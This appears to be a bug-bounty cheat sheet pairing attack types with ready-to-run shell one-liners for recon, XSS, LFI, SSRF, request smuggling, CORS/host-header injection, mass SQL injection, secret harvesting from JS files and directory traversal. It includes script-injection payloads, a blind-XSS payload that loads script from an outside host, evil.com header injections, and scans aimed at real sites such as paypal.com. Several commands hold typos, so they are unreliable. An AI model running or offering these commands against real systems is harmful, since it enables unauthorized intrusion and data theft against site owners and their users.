Attack Name	Tools
1st Step for All Website	subfinder -d www.abc.xyz subfinder -d www.abc.xyz | httpx -status-code subfinder -d www.abc.xyz | httpx -title echo "www.abc.xyz" | waybackurls cat "1.txt" | httpx -status-code echo "www.abc.xyz" | waybackurls | httpx -status-code
SubDomain TakeOver	subfinder -d abc.com | httpx -status-code dig link [nsdomain] nslookup link finedomain -o -t abc.com SubOver -t abc.txt -a Cname
XSS, LFI,SSRF	waybackurls abc.xom | tee -a a.txt cat a.txt | gf xss | grep 'source=' | qsreplace '"><script>confrim(1)</script>' | while read host do ; do curl --silent --path-as-is --insecure "$host" \| grep -qs "<script>confrim(1)" && echo "$host \033[0;31mVulnerable\n";done cat urls.txt | gf lfi | tee lfi.txt cat lfi.txt | qsreplace FUZZ | while read url ; do fuff -u $url -mr "root:x" -w lfipayloadpath ; done findomain -t www.abc.xyz -q | httpx -silent -threads 1000 | gau | grep "=" | qsreplace linkfromburpcolaborator
Advance HTTPS Request	https://github.com/defparam/smuggler python3 smuggler.py -u paypal.com python3 smuggler.py -u paypal.com -m GET python3 smuggler.py -u paypal.com -m GET -c doubles.py python3 smuggler.py -u paypal.com -m GET -c exhaustive.py cat sub.txt | python3 smuggler.py
Find Xss	echo http://www.abc.xyz | waybackurls | kxss assetfinder http://www.abc.xyz | gau | dalfox pipe
Directory Fuzzing	subfinder -d www.abc.xyz -o abc.txt nuclei -l abc.txt -t nuclei-template dirsearch -u www.abc.xyz -e php,jsp,html cat domain.txt | xagx I@ sh -c 'dirsearch -u @ -e php,jsp,js' https://github.com/projectdiscovery/nuclei-templates https://github.com/projectdiscovery/nuclei

Host Header Injection	cat domain.txt | httpx --silent | jsubfinder -s assetfinder abc.xyz | httpx -threads 300 -follow-redirects -silent | rush -1200 'curl -m5 -s -I -H "Origin:evil.com" {} | [[$(grep -c "evil.com") -gt 0]] $$ printf "\n\033[0;32m[VUL TO CORS] - {}\e\|m"' 2>dev/null assetfinder abc.xyz \| httpx -threads 300 -follow-redirects -silent \| rush -1200 'curl -m5 -s -I -H "X-Forwarded-Host:evil.com" {} \| [[$(grep -c "evil.com") -gt 0]] $$ printf "\n\033[0;32m[VUL TO CORS] - {}\e|m"' 2>dev/null https://github.com/ThreatUnkown/jsubfinder
Github Recon	"facebook.com" filename:manifest.xml "facebook.com" filename:travis.yml Must be Check Repositories, Code, Commit Github Recon Txt file > https://t.me/termuxcommandfull/398
Find Js File	cat star.txt | httpx -silent | subjs | anew python3 paramspider.py -d hackerone.com
Mass Sqlinjection Scanning	subfinder -d www.abc.xyz -o abc.txt httpx -l abc.txt -silent -threads 1000 | xargs -I@ sh -c 'findomain -t @ -q | httpx -silent | anew | waybackurls | gf sqli >> sqli ; sqlmap -m sqli –batch –random-agent ––level 1'
Find Api key , aws key , google cloud key from source code and js file	subfinder -d abc.xyz | waybackurls | grep "\.js" | tee > a.txt cat a.txt | xargs -I@ sh -c 'python3 pyfilepath -i @' https://github.com/m4ll0k/SecretFinder
How To Find Real Ip	https://github.com/m0rtem/CloudFail python3 cloudfail.py -u python3 cloudfail.py --help python3 cloudfail.py -t hackerone.com
How to Find And Exploit Directory Traversal Vulnerability	sudo apt install dotdotpwn dotdotpwn -m http-url -u http://www.abc.com/account/signin?ReturnUrl=TRAVERSAL -k "root:" dotdoypwn -m http -h 127.0.0.1 –o
Find Blind Xss	subfinder -d fuck.com -o fuck.txt cat fuck.txt | gf xss | tee -a xss.txt dalfox file xss.txt -b '"><script src=http://hacktube.xss.ht></script>' pipe -F https://xsshunter.com/
Find Admin Panels ,Cves injection , dns	waybackurls happynumbers.com | tee -a happy.txt nuclei -l testing.txt -t cves/ nuclei -l testing.txt -t exposed-panels/
How to find bug in site	waybackurls paypal.com waybackurls paypal.com | gf xss | tee -a star.txt
Log4j	https://github.com/fullhunt/log4j-scan cat domain.txt | httpx -silent | xargs -I@ sh -c 'python3 log4j-scan.py -u "@"'

All recon Tools in One File	https://github.com/D1rk9ghT/Recon
Spider Your Target Using spiderfoot	https://github.com/smicallef/spiderfoot python3 ./sf.py -l 127.0.0.1:5001 then paste to browser : 127.0.0.1:5001
Find subdomain by Hostile	https://github.com/nahamsec/HostileSubBruteforcer
Shodan , censys, FOFA etc in one tool	https://github.com/projectdiscovery/uncover uncover -q "abc.com" -e shodan | httpx

Idor Burp > autorise, auto repeater